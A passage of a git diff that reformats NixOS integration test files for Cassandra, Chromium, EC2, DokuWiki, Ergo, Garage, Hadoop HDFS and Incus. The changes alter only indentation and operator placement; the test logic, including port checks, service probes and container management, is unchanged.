-            cass1.wait_until_succeeds(
-                "nodetool -p ${jmxPortStr} ${jmxAuthArgs} status | egrep -c '^UN' | grep 2"
-            )
-            cass0.succeed("nodetool status -p ${jmxPortStr} --resolve-ip | egrep '^UN[[:space:]]+cass1'")
-      ''
-      + lib.optionalString testRemoteAuth ''
-        with subtest("Remote authenticated jmx"):
-            # Doesn't work if not enabled
-            cass0.wait_until_succeeds("nc -z localhost ${jmxPortStr}")
-            cass1.fail("nc -z 192.168.1.1 ${jmxPortStr}")
-            cass1.fail("nodetool -p ${jmxPortStr} -h 192.168.1.1 status")
+      # Check cluster interaction
+      with subtest("Bring up cluster"):
+          cass1.wait_for_unit("cassandra.service")
+          cass1.wait_until_succeeds(
+              "nodetool -p ${jmxPortStr} ${jmxAuthArgs} status | egrep -c '^UN' | grep 2"
+          )
+          cass0.succeed("nodetool status -p ${jmxPortStr} --resolve-ip | egrep '^UN[[:space:]]+cass1'")
+    ''
+    + lib.optionalString testRemoteAuth ''
+      with subtest("Remote authenticated jmx"):
+          # Doesn't work if not enabled
+          cass0.wait_until_succeeds("nc -z localhost ${jmxPortStr}")
+          cass1.fail("nc -z 192.168.1.1 ${jmxPortStr}")
+          cass1.fail("nodetool -p ${jmxPortStr} -h 192.168.1.1 status")
 
-            # Works if enabled
-            cass1.wait_until_succeeds("nc -z localhost ${jmxPortStr}")
-            cass0.succeed("nodetool -p ${jmxPortStr} -h 192.168.1.2 ${jmxAuthArgs} status")
-      ''
-      + ''
-        with subtest("Break and fix node"):
-            cass1.block()
-            cass0.wait_until_succeeds(
-                "nodetool status -p ${jmxPortStr} --resolve-ip | egrep -c '^DN[[:space:]]+cass1'"
-            )
-            cass0.succeed("nodetool status -p ${jmxPortStr} | egrep -c '^UN'  | grep 1")
-            cass1.unblock()
-            cass1.wait_until_succeeds(
-                "nodetool -p ${jmxPortStr} ${jmxAuthArgs} status | egrep -c '^UN'  | grep 2"
-            )
-            cass0.succeed("nodetool status -p ${jmxPortStr} | egrep -c '^UN'  | grep 2")
+          # Works if enabled
+          cass1.wait_until_succeeds("nc -z localhost ${jmxPortStr}")
+          cass0.succeed("nodetool -p ${jmxPortStr} -h 192.168.1.2 ${jmxAuthArgs} status")
+    ''
+    + ''
+      with subtest("Break and fix node"):
+          cass1.block()
+          cass0.wait_until_succeeds(
+              "nodetool status -p ${jmxPortStr} --resolve-ip | egrep -c '^DN[[:space:]]+cass1'"
+          )
+          cass0.succeed("nodetool status -p ${jmxPortStr} | egrep -c '^UN'  | grep 1")
+          cass1.unblock()
+          cass1.wait_until_succeeds(
+              "nodetool -p ${jmxPortStr} ${jmxAuthArgs} status | egrep -c '^UN'  | grep 2"
+          )
+          cass0.succeed("nodetool status -p ${jmxPortStr} | egrep -c '^UN'  | grep 2")
 
-        with subtest("Replace crashed node"):
-            cass1.block()  # .crash() waits until it's fully shutdown
-            cass2.start()
-            cass0.wait_until_fails(
-                "nodetool status -p ${jmxPortStr} --resolve-ip | egrep '^UN[[:space:]]+cass1'"
-            )
+      with subtest("Replace crashed node"):
+          cass1.block()  # .crash() waits until it's fully shutdown
+          cass2.start()
+          cass0.wait_until_fails(
+              "nodetool status -p ${jmxPortStr} --resolve-ip | egrep '^UN[[:space:]]+cass1'"
+          )
 
-            cass2.wait_for_unit("cassandra.service")
-            cass0.wait_until_succeeds(
-                "nodetool status -p ${jmxPortStr} --resolve-ip | egrep '^UN[[:space:]]+cass2'"
-            )
-      '';
+          cass2.wait_for_unit("cassandra.service")
+          cass0.wait_until_succeeds(
+              "nodetool status -p ${jmxPortStr} --resolve-ip | egrep '^UN[[:space:]]+cass2'"
+          )
+    '';
 
     passthru = {
       inherit testPackage;
diff --git a/nixos/tests/chromium.nix b/nixos/tests/chromium.nix
index f7192ca228d0..ba455d5888ad 100644
--- a/nixos/tests/chromium.nix
+++ b/nixos/tests/chromium.nix
@@ -43,18 +43,17 @@ mapAttrs (
   channel: chromiumPkg:
   makeTest {
     name = "chromium-${channel}";
-    meta =
-      {
-        maintainers = with maintainers; [
-          aszlig
-          primeos
-        ];
-      }
-      // optionalAttrs (chromiumPkg.meta ? timeout) {
-        # https://github.com/NixOS/hydra/issues/591#issuecomment-435125621
-        # Note: optionalAttrs is used since meta.timeout is not set for Google Chrome
-        inherit (chromiumPkg.meta) timeout;
-      };
+    meta = {
+      maintainers = with maintainers; [
+        aszlig
+        primeos
+      ];
+    }
+    // optionalAttrs (chromiumPkg.meta ? timeout) {
+      # https://github.com/NixOS/hydra/issues/591#issuecomment-435125621
+      # Note: optionalAttrs is used since meta.timeout is not set for Google Chrome
+      inherit (chromiumPkg.meta) timeout;
+    };
 
     enableOCR = true;
 
diff --git a/nixos/tests/common/ec2.nix b/nixos/tests/common/ec2.nix
index 8210e5914afb..cb66009b5a83 100644
--- a/nixos/tests/common/ec2.nix
+++ b/nixos/tests/common/ec2.nix
@@ -16,72 +16,70 @@ with pkgs.lib;
     let
       metaData = pkgs.stdenv.mkDerivation {
         name = "metadata";
-        buildCommand =
-          ''
-            mkdir -p $out/1.0/meta-data
-            ln -s ${pkgs.writeText "userData" userData} $out/1.0/user-data
-            echo "${hostname}" > $out/1.0/meta-data/hostname
-            echo "(unknown)" > $out/1.0/meta-data/ami-manifest-path
-          ''
-          + optionalString (sshPublicKey != null) ''
-            mkdir -p $out/1.0/meta-data/public-keys/0
-            ln -s ${pkgs.writeText "sshPublicKey" sshPublicKey} $out/1.0/meta-data/public-keys/0/openssh-key
-          '';
+        buildCommand = ''
+          mkdir -p $out/1.0/meta-data
+          ln -s ${pkgs.writeText "userData" userData} $out/1.0/user-data
+          echo "${hostname}" > $out/1.0/meta-data/hostname
+          echo "(unknown)" > $out/1.0/meta-data/ami-manifest-path
+        ''
+        + optionalString (sshPublicKey != null) ''
+          mkdir -p $out/1.0/meta-data/public-keys/0
+          ln -s ${pkgs.writeText "sshPublicKey" sshPublicKey} $out/1.0/meta-data/public-keys/0/openssh-key
+        '';
       };
       indentLines = str: concatLines (map (s: "  " + s) (splitString "\n" str));
     in
     makeTest {
       name = "ec2-" + name;
       nodes = { };
-      testScript =
-        ''
-          import os
-          import subprocess
-          import tempfile
+      testScript = ''
+        import os
+        import subprocess
+        import tempfile
 
-          image_dir = os.path.join(
-              os.environ.get("TMPDIR", tempfile.gettempdir()), "tmp", "vm-state-machine"
-          )
-          os.makedirs(image_dir, mode=0o700, exist_ok=True)
-          disk_image = os.path.join(image_dir, "machine.qcow2")
-          subprocess.check_call(
-              [
-                  "qemu-img",
-                  "create",
-                  "-f",
-                  "qcow2",
-                  "-F",
-                  "qcow2",
-                  "-o",
-                  "backing_file=${image}",
-                  disk_image,
-              ]
-          )
-          subprocess.check_call(["qemu-img", "resize", disk_image, "10G"])
+        image_dir = os.path.join(
+            os.environ.get("TMPDIR", tempfile.gettempdir()), "tmp", "vm-state-machine"
+        )
+        os.makedirs(image_dir, mode=0o700, exist_ok=True)
+        disk_image = os.path.join(image_dir, "machine.qcow2")
+        subprocess.check_call(
+            [
+                "qemu-img",
+                "create",
+                "-f",
+                "qcow2",
+                "-F",
+                "qcow2",
+                "-o",
+                "backing_file=${image}",
+                disk_image,
+            ]
+        )
+        subprocess.check_call(["qemu-img", "resize", disk_image, "10G"])
 
-          # Note: we use net=169.0.0.0/8 rather than
-          # net=169.254.0.0/16 to prevent dhcpcd from getting horribly
-          # confused. (It would get a DHCP lease in the 169.254.*
-          # range, which it would then configure and promptly delete
-          # again when it deletes link-local addresses.) Ideally we'd
-          # turn off the DHCP server, but qemu does not have an option
-          # to do that.
-          start_command = (
-              "qemu-kvm -m 1024"
-              + " -device virtio-net-pci,netdev=vlan0"
-              + " -netdev 'user,id=vlan0,net=169.0.0.0/8,guestfwd=tcp:169.254.169.254:80-cmd:${pkgs.micro-httpd}/bin/micro_httpd ${metaData}'"
-              + f" -drive file={disk_image},if=virtio,werror=report"
-              + " $QEMU_OPTS"
-          )
+        # Note: we use net=169.0.0.0/8 rather than
+        # net=169.254.0.0/16 to prevent dhcpcd from getting horribly
+        # confused. (It would get a DHCP lease in the 169.254.*
+        # range, which it would then configure and promptly delete
+        # again when it deletes link-local addresses.) Ideally we'd
+        # turn off the DHCP server, but qemu does not have an option
+        # to do that.
+        start_command = (
+            "qemu-kvm -m 1024"
+            + " -device virtio-net-pci,netdev=vlan0"
+            + " -netdev 'user,id=vlan0,net=169.0.0.0/8,guestfwd=tcp:169.254.169.254:80-cmd:${pkgs.micro-httpd}/bin/micro_httpd ${metaData}'"
+            + f" -drive file={disk_image},if=virtio,werror=report"
+            + " $QEMU_OPTS"
+        )
 
-          machine = create_machine(start_command)
-          try:
-        ''
-        + indentLines script
-        + ''
-          finally:
-            machine.shutdown()
-        '';
+        machine = create_machine(start_command)
+        try:
+      ''
+      + indentLines script
+      + ''
+        finally:
+          machine.shutdown()
+      '';
 
       inherit meta;
     };
diff --git a/nixos/tests/dokuwiki.nix b/nixos/tests/dokuwiki.nix
index 2ae25c850011..cfacfaf63b9f 100644
--- a/nixos/tests/dokuwiki.nix
+++ b/nixos/tests/dokuwiki.nix
@@ -31,11 +31,9 @@ let
   '';
 
   dwWithAcronyms = pkgs.dokuwiki.overrideAttrs (prev: {
-    installPhase =
-      prev.installPhase or ""
-      + ''
-        ln -sf ${acronymsFile} $out/share/dokuwiki/conf/acronyms.local.conf
-      '';
+    installPhase = prev.installPhase or "" + ''
+      ln -sf ${acronymsFile} $out/share/dokuwiki/conf/acronyms.local.conf
+    '';
   });
 
   mkNode =
diff --git a/nixos/tests/ergochat.nix b/nixos/tests/ergochat.nix
index 6dd9efbb2ccf..7b253ec7369f 100644
--- a/nixos/tests/ergochat.nix
+++ b/nixos/tests/ergochat.nix
@@ -13,43 +13,42 @@ import ./make-test-python.nix (
   { pkgs, lib, ... }:
   {
     name = "ergochat";
-    nodes =
-      {
-        "${server}" = {
-          networking.firewall.allowedTCPPorts = [ ircPort ];
-          services.ergochat = {
-            enable = true;
-            settings.server.motd = pkgs.writeText "ergo.motd" ''
-              The default MOTD doesn't contain the word "nixos" in it.
-              This one does.
-            '';
-          };
+    nodes = {
+      "${server}" = {
+        networking.firewall.allowedTCPPorts = [ ircPort ];
+        services.ergochat = {
+          enable = true;
+          settings.server.motd = pkgs.writeText "ergo.motd" ''
+            The default MOTD doesn't contain the word "nixos" in it.
+            This one does.
+          '';
         };
-      }
-      // lib.listToAttrs (
-        builtins.map (
-          client:
-          lib.nameValuePair client {
-            imports = [
-              ./common/user-account.nix
-            ];
+      };
+    }
+    // lib.listToAttrs (
+      builtins.map (
+        client:
+        lib.nameValuePair client {
+          imports = [
+            ./common/user-account.nix
+          ];
 
-            systemd.services.ii = {
-              requires = [ "network.target" ];
-              wantedBy = [ "default.target" ];
+          systemd.services.ii = {
+            requires = [ "network.target" ];
+            wantedBy = [ "default.target" ];
 
-              serviceConfig = {
-                Type = "simple";
-                ExecPreStartPre = "mkdir -p ${iiDir}";
-                ExecStart = ''
-                  ${lib.getBin pkgs.ii}/bin/ii -n ${client} -s ${server} -i ${iiDir}
-                '';
-                User = "alice";
-              };
+            serviceConfig = {
+              Type = "simple";
+              ExecPreStartPre = "mkdir -p ${iiDir}";
+              ExecStart = ''
+                ${lib.getBin pkgs.ii}/bin/ii -n ${client} -s ${server} -i ${iiDir}
+              '';
+              User = "alice";
             };
-          }
-        ) clients
-      );
+          };
+        }
+      ) clients
+    );
 
     testScript =
       let
diff --git a/nixos/tests/garage/default.nix b/nixos/tests/garage/default.nix
index 93f721abe241..90ea67936c5e 100644
--- a/nixos/tests/garage/default.nix
+++ b/nixos/tests/garage/default.nix
@@ -41,7 +41,8 @@ let
             root_domain = ".web.garage";
             index = "index.html";
           };
-        } // extraSettings;
+        }
+        // extraSettings;
       };
       environment.systemPackages = [ pkgs.minio-client ];
 
diff --git a/nixos/tests/hadoop/hdfs.nix b/nixos/tests/hadoop/hdfs.nix
index 31b02964b4c6..15ed56c9ebae 100644
--- a/nixos/tests/hadoop/hdfs.nix
+++ b/nixos/tests/hadoop/hdfs.nix
@@ -54,50 +54,49 @@ import ../make-test-python.nix (
           };
       };
 
-    testScript =
-      ''
-        start_all()
+    testScript = ''
+      start_all()
 
-        namenode.wait_for_unit("hdfs-namenode")
-        namenode.wait_for_unit("network.target")
-        namenode.wait_for_open_port(8020)
-        namenode.succeed("systemd-cat ss -tulpne")
-        namenode.succeed("systemd-cat cat /etc/hadoop*/hdfs-site.xml")
-        namenode.wait_for_open_port(9870)
+      namenode.wait_for_unit("hdfs-namenode")
+      namenode.wait_for_unit("network.target")
+      namenode.wait_for_open_port(8020)
+      namenode.succeed("systemd-cat ss -tulpne")
+      namenode.succeed("systemd-cat cat /etc/hadoop*/hdfs-site.xml")
+      namenode.wait_for_open_port(9870)
 
-        datanode.wait_for_unit("hdfs-datanode")
-        datanode.wait_for_unit("network.target")
-      ''
-      + (
-        if lib.versionAtLeast package.version "3" then
-          ''
-            datanode.wait_for_open_port(9864)
-            datanode.wait_for_open_port(9866)
-            datanode.wait_for_open_port(9867)
+      datanode.wait_for_unit("hdfs-datanode")
+      datanode.wait_for_unit("network.target")
+    ''
+    + (
+      if lib.versionAtLeast package.version "3" then
+        ''
+          datanode.wait_for_open_port(9864)
+          datanode.wait_for_open_port(9866)
+          datanode.wait_for_open_port(9867)
 
-            datanode.succeed("curl -f http://datanode:9864")
-          ''
-        else
-          ''
-            datanode.wait_for_open_port(50075)
-            datanode.wait_for_open_port(50010)
-            datanode.wait_for_open_port(50020)
+          datanode.succeed("curl -f http://datanode:9864")
+        ''
+      else
+        ''
+          datanode.wait_for_open_port(50075)
+          datanode.wait_for_open_port(50010)
+          datanode.wait_for_open_port(50020)
 
-            datanode.succeed("curl -f http://datanode:50075")
-          ''
-      )
-      + ''
-        namenode.succeed("curl -f http://namenode:9870")
+          datanode.succeed("curl -f http://datanode:50075")
+        ''
+    )
+    + ''
+      namenode.succeed("curl -f http://namenode:9870")
 
-        datanode.succeed("sudo -u hdfs hdfs dfsadmin -safemode wait")
-        datanode.succeed("echo testfilecontents | sudo -u hdfs hdfs dfs -put - /testfile")
-        assert "testfilecontents" in datanode.succeed("sudo -u hdfs hdfs dfs -cat /testfile")
+      datanode.succeed("sudo -u hdfs hdfs dfsadmin -safemode wait")
+      datanode.succeed("echo testfilecontents | sudo -u hdfs hdfs dfs -put - /testfile")
+      assert "testfilecontents" in datanode.succeed("sudo -u hdfs hdfs dfs -cat /testfile")
 
-      ''
-      + lib.optionalString (lib.versionAtLeast package.version "3.3") ''
-        namenode.wait_for_unit("hdfs-httpfs")
-        namenode.wait_for_open_port(14000)
-        assert "testfilecontents" in datanode.succeed("curl -f \"http://namenode:14000/webhdfs/v1/testfile?user.name=hdfs&op=OPEN\" 2>&1")
-      '';
+    ''
+    + lib.optionalString (lib.versionAtLeast package.version "3.3") ''
+      namenode.wait_for_unit("hdfs-httpfs")
+      namenode.wait_for_open_port(14000)
+      assert "testfilecontents" in datanode.succeed("curl -f \"http://namenode:14000/webhdfs/v1/testfile?user.name=hdfs&op=OPEN\" 2>&1")
+    '';
   }
 )
diff --git a/nixos/tests/incus/incus-tests.nix b/nixos/tests/incus/incus-tests.nix
index 3a9479f5ab55..fe8aed457bb5 100644
--- a/nixos/tests/incus/incus-tests.nix
+++ b/nixos/tests/incus/incus-tests.nix
@@ -80,28 +80,27 @@ import ../make-test-python.nix (
           package = if lts then pkgs.incus-lts else pkgs.incus;
 
           preseed = {
-            networks =
-              [
-                {
-                  name = "incusbr0";
-                  type = "bridge";
-                  config = {
-                    "ipv4.address" = "10.0.10.1/24";
-                    "ipv4.nat" = "true";
-                  };
-                }
-              ]
-              ++ lib.optionals networkOvs [
-                {
-                  name = "ovsbr0";
-                  type = "bridge";
-                  config = {
-                    "bridge.driver" = "openvswitch";
-                    "ipv4.address" = "10.0.20.1/24";
-                    "ipv4.nat" = "true";
-                  };
-                }
-              ];
+            networks = [
+              {
+                name = "incusbr0";
+                type = "bridge";
+                config = {
+                  "ipv4.address" = "10.0.10.1/24";
+                  "ipv4.nat" = "true";
+                };
+              }
+            ]
+            ++ lib.optionals networkOvs [
+              {
+                name = "ovsbr0";
+                type = "bridge";
+                config = {
+                  "bridge.driver" = "openvswitch";
+                  "ipv4.address" = "10.0.20.1/24";
+                  "ipv4.nat" = "true";
+                };
+              }
+            ];
             profiles = [
               {
                 name = "default";
@@ -159,343 +158,343 @@ import ../make-test-python.nix (
     };
 
     testScript = # python
-      ''
-        import json
+    ''
+      import json
 
-        def wait_for_instance(name: str, project: str = "default"):
-            machine.wait_until_succeeds(f"incus exec {name} --disable-stdin --force-interactive --project {project} -- /run/current-system/sw/bin/systemctl is-system-running")
+      def wait_for_instance(name: str, project: str = "default"):
+          machine.wait_until_succeeds(f"incus exec {name} --disable-stdin --force-interactive --project {project} -- /run/current-system/sw/bin/systemctl is-system-running")
 
 
-        def wait_incus_exec_success(name: str, command: str, timeout: int = 900, project: str = "default"):
-            def check_command(_) -> bool:
-                status, _ = machine.execute(f"incus exec {name} --disable-stdin --force-interactive --project {project} -- {command}")
-                return status == 0
+      def wait_incus_exec_success(name: str, command: str, timeout: int = 900, project: str = "default"):
+          def check_command(_) -> bool:
+              status, _ = machine.execute(f"incus exec {name} --disable-stdin --force-interactive --project {project} -- {command}")
+              return status == 0
 
-            with machine.nested(f"Waiting for successful exec: {command}"):
-              retry(check_command, timeout)
+          with machine.nested(f"Waiting for successful exec: {command}"):
+            retry(check_command, timeout)
 
 
-        def set_config(name: str, config: str, restart: bool = False, unset: bool = False):
-            if restart:
-                machine.succeed(f"incus stop {name}")
+      def set_config(name: str, config: str, restart: bool = False, unset: bool = False):
+          if restart:
+              machine.succeed(f"incus stop {name}")
 
-            if unset:
-              machine.succeed(f"incus config unset {name} {config}")
-            else:
-              machine.succeed(f"incus config set {name} {config}")
+          if unset:
+            machine.succeed(f"incus config unset {name} {config}")
+          else:
+            machine.succeed(f"incus config set {name} {config}")
 
-            if restart:
-                machine.succeed(f"incus start {name}")
-                wait_for_instance(name)
-            else:
-                # give a moment to settle
-                machine.sleep(1)
+          if restart:
+              machine.succeed(f"incus start {name}")
+              wait_for_instance(name)
+          else:
+              # give a moment to settle
+              machine.sleep(1)
 
 
-        def cleanup():
-            # avoid conflict between preseed and cleanup operations
-            machine.execute("systemctl kill incus-preseed.service")
+      def cleanup():
+          # avoid conflict between preseed and cleanup operations
+          machine.execute("systemctl kill incus-preseed.service")
 
-            instances = json.loads(machine.succeed("incus list --format json --all-projects"))
-            with subtest("Stopping all running instances"):
-                for instance in [a for a in instances if a['status'] == 'Running']:
-                    machine.execute(f"incus stop --force {instance['name']} --project {instance['project']}")
-                    machine.execute(f"incus delete --force {instance['name']} --project {instance['project']}")
+          instances = json.loads(machine.succeed("incus list --format json --all-projects"))
+          with subtest("Stopping all running instances"):
+              for instance in [a for a in instances if a['status'] == 'Running']:
+                  machine.execute(f"incus stop --force {instance['name']} --project {instance['project']}")
+                  machine.execute(f"incus delete --force {instance['name']} --project {instance['project']}")
 
 
-        def check_sysctl(name: str):
-            with subtest("systemd sysctl settings are applied"):
-                machine.succeed(f"incus exec {name} -- systemctl status systemd-sysctl")
-                sysctl = machine.succeed(f"incus exec {name} -- sysctl net.ipv4.ip_forward").strip().split(" ")[-1]
-                assert "1" == sysctl, f"systemd-sysctl configuration not correctly applied, {sysctl} != 1"
+      def check_sysctl(name: str):
+          with subtest("systemd sysctl settings are applied"):
+              machine.succeed(f"incus exec {name} -- systemctl status systemd-sysctl")
+              sysctl = machine.succeed(f"incus exec {name} -- sysctl net.ipv4.ip_forward").strip().split(" ")[-1]
+              assert "1" == sysctl, f"systemd-sysctl configuration not correctly applied, {sysctl} != 1"
 
 
-        with subtest("Wait for startup"):
-            machine.wait_for_unit("incus.service")
-            machine.wait_for_unit("incus-preseed.service")
+      with subtest("Wait for startup"):
+          machine.wait_for_unit("incus.service")
+          machine.wait_for_unit("incus-preseed.service")
 
 
-        with subtest("Verify preseed resources created"):
-            machine.succeed("incus profile show default")
-            machine.succeed("incus network info incusbr0")
-            machine.succeed("incus storage show default")
+      with subtest("Verify preseed resources created"):
+          machine.succeed("incus profile show default")
+          machine.succeed("incus network info incusbr0")
+          machine.succeed("incus storage show default")
 
-      ''
-      + lib.optionalString appArmor ''
-        with subtest("Verify AppArmor service is started without issue"):
-            # restart AppArmor service since the Incus AppArmor folders are
-            # created after AA service is started
-            machine.systemctl("restart apparmor.service")
-            machine.succeed("systemctl --no-pager -l status apparmor.service")
-            machine.wait_for_unit("apparmor.service")
-      ''
-      + lib.optionalString instanceContainer (
-        lib.foldl (
-          acc: variant:
-          acc
-          # python
-          + ''
-            metadata = "${(images variant).container.metadata}"
-            rootfs = "${(images variant).container.rootfs}"
-            alias = "nixos/container/${variant}"
-            variant = "${variant}"
+    ''
+    + lib.optionalString appArmor ''
+      with subtest("Verify AppArmor service is started without issue"):
+          # restart AppArmor service since the Incus AppArmor folders are
+          # created after AA service is started
+          machine.systemctl("restart apparmor.service")
+          machine.succeed("systemctl --no-pager -l status apparmor.service")
+          machine.wait_for_unit("apparmor.service")
+    ''
+    + lib.optionalString instanceContainer (
+      lib.foldl (
+        acc: variant:
+        acc
+        # python
+        + ''
+          metadata = "${(images variant).container.metadata}"
+          rootfs = "${(images variant).container.rootfs}"
+          alias = "nixos/container/${variant}"
+          variant = "${variant}"
 
-            with subtest("container image can be imported"):
-                machine.succeed(f"incus image import {metadata} {rootfs} --alias {alias}")
+          with subtest("container image can be imported"):
+              machine.succeed(f"incus image import {metadata} {rootfs} --alias {alias}")
 
 
-            with subtest("container can be launched and managed"):
-                machine.succeed(f"incus launch {alias} container-{variant}1")
-                wait_for_instance(f"container-{variant}1")
+          with subtest("container can be launched and managed"):
+              machine.succeed(f"incus launch {alias} container-{variant}1")
+              wait_for_instance(f"container-{variant}1")
 
 
-            with subtest("container mounts lxcfs overlays"):
-                machine.succeed(f"incus exec container-{variant}1 mount | grep 'lxcfs on /proc/cpuinfo type fuse.lxcfs'")
-                machine.succeed(f"incus exec container-{variant}1 mount | grep 'lxcfs on /proc/meminfo type fuse.lxcfs'")
+          with subtest("container mounts lxcfs overlays"):
+              machine.succeed(f"incus exec container-{variant}1 mount | grep 'lxcfs on /proc/cpuinfo type fuse.lxcfs'")
+              machine.succeed(f"incus exec container-{variant}1 mount | grep 'lxcfs on /proc/meminfo type fuse.lxcfs'")
 
 
-            with subtest("container CPU limits can be managed"):
-                set_config(f"container-{variant}1", "limits.cpu 1", restart=True)
-                wait_incus_exec_success(f"container-{variant}1", "nproc | grep '^1$'", timeout=90)
+          with subtest("container CPU limits can be managed"):
+              set_config(f"container-{variant}1", "limits.cpu 1", restart=True)
+              wait_incus_exec_success(f"container-{variant}1", "nproc | grep '^1$'", timeout=90)
 
 
-            with subtest("container CPU limits can be hotplug changed"):
-                set_config(f"container-{variant}1", "limits.cpu 2")
-                wait_incus_exec_success(f"container-{variant}1", "nproc | grep '^2$'", timeout=90)
+          with subtest("container CPU limits can be hotplug changed"):
+              set_config(f"container-{variant}1", "limits.cpu 2")
+              wait_incus_exec_success(f"container-{variant}1", "nproc | grep '^2$'", timeout=90)
 
 
-            with subtest("container memory limits can be managed"):
-                set_config(f"container-{variant}1", "limits.memory 128MB", restart=True)
-                wait_incus_exec_success(f"container-{variant}1", "grep 'MemTotal:[[:space:]]*125000 kB' /proc/meminfo", timeout=90)
+          with subtest("container memory limits can be managed"):
+              set_config(f"container-{variant}1", "limits.memory 128MB", restart=True)
+              wait_incus_exec_success(f"container-{variant}1", "grep 'MemTotal:[[:space:]]*125000 kB' /proc/meminfo", timeout=90)
 
 
-            with subtest("container memory limits can be hotplug changed"):
-                set_config(f"container-{variant}1", "limits.memory 256MB")
-                wait_incus_exec_success(f"container-{variant}1", "grep 'MemTotal:[[:space:]]*250000 kB' /proc/meminfo", timeout=90)
+          with subtest("container memory limits can be hotplug changed"):
+              set_config(f"container-{variant}1", "limits.memory 256MB")
+              wait_incus_exec_success(f"container-{variant}1", "grep 'MemTotal:[[:space:]]*250000 kB' /proc/meminfo", timeout=90)
 
 
-            with subtest("container software tpm can be configured"):
-                machine.succeed(f"incus config device add container-{variant}1 vtpm tpm path=/dev/tpm0 pathrm=/dev/tpmrm0")
-                machine.succeed(f"incus exec container-{variant}1 -- test -e /dev/tpm0")
-                machine.succeed(f"incus exec container-{variant}1 -- test -e /dev/tpmrm0")
-                machine.succeed(f"incus config device remove container-{variant}1 vtpm")
-                machine.fail(f"incus exec container-{variant}1 -- test -e /dev/tpm0")
+          with subtest("container software tpm can be configured"):
+              machine.succeed(f"incus config device add container-{variant}1 vtpm tpm path=/dev/tpm0 pathrm=/dev/tpmrm0")
+              machine.succeed(f"incus exec container-{variant}1 -- test -e /dev/tpm0")
+              machine.succeed(f"incus exec container-{variant}1 -- test -e /dev/tpmrm0")
+              machine.succeed(f"incus config device remove container-{variant}1 vtpm")
+              machine.fail(f"incus exec container-{variant}1 -- test -e /dev/tpm0")
 
 
-            with subtest("container lxc-generator compatibility"):
-                with subtest("lxc-container generator configures plain container"):
-                    # default container is plain
-                    machine.succeed(f"incus exec container-{variant}1 test -- -e /run/systemd/system/service.d/zzz-lxc-service.conf")
+          with subtest("container lxc-generator compatibility"):
+              with subtest("lxc-container generator configures plain container"):
+                  # default container is plain
+                  machine.succeed(f"incus exec container-{variant}1 test -- -e /run/systemd/system/service.d/zzz-lxc-service.conf")
 
-                    check_sysctl(f"container-{variant}1")
+                  check_sysctl(f"container-{variant}1")
 
-                with subtest("lxc-container generator configures nested container"):
-                    set_config(f"container-{variant}1", "security.nesting=true", restart=True)
+              with subtest("lxc-container generator configures nested container"):
+                  set_config(f"container-{variant}1", "security.nesting=true", restart=True)
 
-                    machine.fail(f"incus exec container-{variant}1 test -- -e /run/systemd/system/service.d/zzz-lxc-service.conf")
-                    target = machine.succeed(f"incus exec container-{variant}1 readlink -- -f /run/systemd/system/systemd-binfmt.service").strip()
-                    assert target == "/dev/null", "lxc generator did not correctly mask /run/systemd/system/systemd-binfmt.service"
+                  machine.fail(f"incus exec container-{variant}1 test -- -e /run/systemd/system/service.d/zzz-lxc-service.conf")
+                  target = machine.succeed(f"incus exec container-{variant}1 readlink -- -f /run/systemd/system/systemd-binfmt.service").strip()
+                  assert target == "/dev/null", "lxc generator did not correctly mask /run/systemd/system/systemd-binfmt.service"
 
-                    check_sysctl(f"container-{variant}1")
+                  check_sysctl(f"container-{variant}1")
 
-                with subtest("lxc-container generator configures privileged container"):
-                    # Create a new instance for a clean state
-                    machine.succeed(f"incus launch {alias} container-{variant}2")
-                    wait_for_instance(f"container-{variant}2")
+              with subtest("lxc-container generator configures privileged container"):
+                  # Create a new instance for a clean state
+                  machine.succeed(f"incus launch {alias} container-{variant}2")
+                  wait_for_instance(f"container-{variant}2")
 
-                    machine.succeed(f"incus exec container-{variant}2 test -- -e /run/systemd/system/service.d/zzz-lxc-service.conf")
+                  machine.succeed(f"incus exec container-{variant}2 test -- -e /run/systemd/system/service.d/zzz-lxc-service.conf")
 
-                    check_sysctl(f"container-{variant}2")
+                  check_sysctl(f"container-{variant}2")
 
-            with subtest("container supports per-instance lxcfs"):
-                machine.succeed(f"incus stop container-{variant}1")
-                machine.fail(f"pgrep -a lxcfs | grep 'incus/devices/container-{variant}1/lxcfs'")
+          with subtest("container supports per-instance lxcfs"):
+              machine.succeed(f"incus stop container-{variant}1")
+              machine.fail(f"pgrep -a lxcfs | grep 'incus/devices/container-{variant}1/lxcfs'")
 
-                machine.succeed("incus config set instances.lxcfs.per_instance=true")
+              machine.succeed("incus config set instances.lxcfs.per_instance=true")
 
-                machine.succeed(f"incus start container-{variant}1")
-                wait_for_instance(f"container-{variant}1")
-                machine.succeed(f"pgrep -a lxcfs | grep 'incus/devices/container-{variant}1/lxcfs'")
+              machine.succeed(f"incus start container-{variant}1")
+              wait_for_instance(f"container-{variant}1")
+              machine.succeed(f"pgrep -a lxcfs | grep 'incus/devices/container-{variant}1/lxcfs'")
 
 
-            with subtest("container can successfully restart"):
-                machine.succeed(f"incus restart container-{variant}1")
-                wait_for_instance(f"container-{variant}1")
+          with subtest("container can successfully restart"):
+              machine.succeed(f"incus restart container-{variant}1")
+              wait_for_instance(f"container-{variant}1")
 
 
-            with subtest("container remains running when softDaemonRestart is enabled and service is stopped"):
-                pid = machine.succeed(f"incus info container-{variant}1 | grep 'PID'").split(":")[1].strip()
-                machine.succeed(f"ps {pid}")
-                machine.succeed("systemctl stop incus")
-                machine.succeed(f"ps {pid}")
-                machine.succeed("systemctl start incus")
+          with subtest("container remains running when softDaemonRestart is enabled and service is stopped"):
+              pid = machine.succeed(f"incus info container-{variant}1 | grep 'PID'").split(":")[1].strip()
+              machine.succeed(f"ps {pid}")
+              machine.succeed("systemctl stop incus")
+              machine.succeed(f"ps {pid}")
+              machine.succeed("systemctl start incus")
 
-                with subtest("containers stop with incus-startup.service"):
-                    pid = machine.succeed(f"incus info container-{variant}1 | grep 'PID'").split(":")[1].strip()
-                    machine.succeed(f"ps {pid}")
-                    machine.succeed("systemctl stop incus-startup.service")
-                    machine.wait_until_fails(f"ps {pid}", timeout=120)
-                    machine.succeed("systemctl start incus-startup.service")
+              with subtest("containers stop with incus-startup.service"):
+                  pid = machine.succeed(f"incus info container-{variant}1 | grep 'PID'").split(":")[1].strip()
+                  machine.succeed(f"ps {pid}")
+                  machine.succeed("systemctl stop incus-startup.service")
+                  machine.wait_until_fails(f"ps {pid}", timeout=120)
+                  machine.succeed("systemctl start incus-startup.service")
 
 
-            cleanup()
-          ''
-        ) "" initVariants
-      )
-      + lib.optionalString canTestVm (
-        (lib.foldl (
-          acc: variant:
-          acc
